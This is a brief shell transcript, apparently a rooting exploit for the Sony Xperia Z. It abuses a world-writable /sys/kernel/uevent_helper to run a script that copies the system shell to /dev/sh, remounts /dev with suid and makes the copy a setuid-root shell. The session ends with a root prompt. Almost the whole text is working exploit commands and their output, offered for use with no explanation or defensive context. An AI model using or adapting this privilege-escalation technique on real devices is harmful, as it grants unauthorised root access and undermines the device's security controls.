getroot.sh for Xperia Z

$ ls -l /sys/kernel/uevent_helper
-rw-rw-rw- root     root         4096 2013-03-10 05:14 uevent_helper
$ echo /data/local/tmp/getroot.sh > /sys/kernel/uevent_helper
$ cat /data/local/tmp/getroot.sh
#!/system/bin/sh
/system/bin/cat /system/bin/sh > /dev/sh
/system/bin/mount -o suid,remount /dev /dev
/system/bin/chown root.root /dev/sh
/system/bin/chmod 6755 /dev/sh

now, push power button.

$ /dev/sh
#